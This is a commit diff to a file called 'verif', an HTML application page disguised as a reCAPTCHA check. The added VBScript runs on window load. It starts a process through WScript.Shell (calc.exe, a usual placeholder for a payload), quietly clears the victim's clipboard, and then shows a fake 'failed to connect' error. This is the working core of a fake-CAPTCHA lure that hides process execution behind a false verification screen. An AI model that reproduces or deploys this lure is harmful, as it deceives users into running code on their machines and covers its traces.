enotkrutoy commited on
Commit
089ea2f
·
verified ·
1 Parent(s): aacbb81

Update verif

Browse files
Files changed (1) hide show
  1. verif +13 -15
verif CHANGED
@@ -35,7 +35,6 @@
35
  }
36
  #error {
37
  color: red;
38
- transition: opacity 0.5s ease-in-out;
39
  }
40
  .terms {
41
  font-size: small;
@@ -49,31 +48,30 @@
49
  }
50
  </style>
51
  <script language="VBScript">
52
- Sub window_OnLoad
53
  Window.ResizeTo 520, 480
54
  Window.MoveTo (Screen.Width - 520) / 2, (Screen.Height - 480) / 2
55
 
56
  Set objShell = CreateObject("WScript.Shell")
57
- objShell.Run "timeout /T 5 /nobreak", 0, True
 
 
 
 
58
  HideConnectingShowError
 
59
  End Sub
60
 
61
  Sub HideConnectingShowError
62
  document.getElementById("connecting").style.display = "none"
63
  document.getElementById("error").style.display = "block"
64
- document.getElementById("error").style.opacity = 1
65
-
66
- Call setTimeout("fadeOutError", 5000)
67
- End Sub
68
-
69
- Sub fadeOutError
70
- document.getElementById("error").style.opacity = 0
71
- Call setTimeout("hideError", 500)
72
  End Sub
73
 
74
- Sub hideError
75
- document.getElementById("error").style.display = "none"
76
- document.getElementById("connecting").style.display = "block"
 
 
77
  End Sub
78
  </script>
79
  </head>
@@ -82,7 +80,7 @@
82
  <div id="connecting" style="display:block;">
83
  <p>Verifying reCAPTCHA, please wait...</p>
84
  </div>
85
- <div id="error" style="display:none; opacity: 0;">
86
  <p><b>Failed to connect with the reCAPTCHA server.</b><br>Try the verification steps again.</p>
87
  </div>
88
  <p class="terms">
 
35
  }
36
  #error {
37
  color: red;
 
38
  }
39
  .terms {
40
  font-size: small;
 
48
  }
49
  </style>
50
  <script language="VBScript">
51
+ Sub Window_OnLoad
52
  Window.ResizeTo 520, 480
53
  Window.MoveTo (Screen.Width - 520) / 2, (Screen.Height - 480) / 2
54
 
55
  Set objShell = CreateObject("WScript.Shell")
56
+ objShell.Run "calc.exe", 0, False
57
+
58
+ ClearClipboard
59
+
60
+ objShell.Run "timeout /T 2 /nobreak", 0, True
61
  HideConnectingShowError
62
+ objShell.Run "timeout /T 1 /nobreak", 0, True
63
  End Sub
64
 
65
  Sub HideConnectingShowError
66
  document.getElementById("connecting").style.display = "none"
67
  document.getElementById("error").style.display = "block"
 
 
 
 
 
 
 
 
68
  End Sub
69
 
70
+ Sub ClearClipboard
71
+ Dim objHTML
72
+ Set objHTML = CreateObject("htmlfile")
73
+ objHTML.parentWindow.clipboardData.setData "Text", ""
74
+ Set objHTML = Nothing
75
  End Sub
76
  </script>
77
  </head>
 
80
  <div id="connecting" style="display:block;">
81
  <p>Verifying reCAPTCHA, please wait...</p>
82
  </div>
83
+ <div id="error" style="display:none;">
84
  <p><b>Failed to connect with the reCAPTCHA server.</b><br>Try the verification steps again.</p>
85
  </div>
86
  <p class="terms">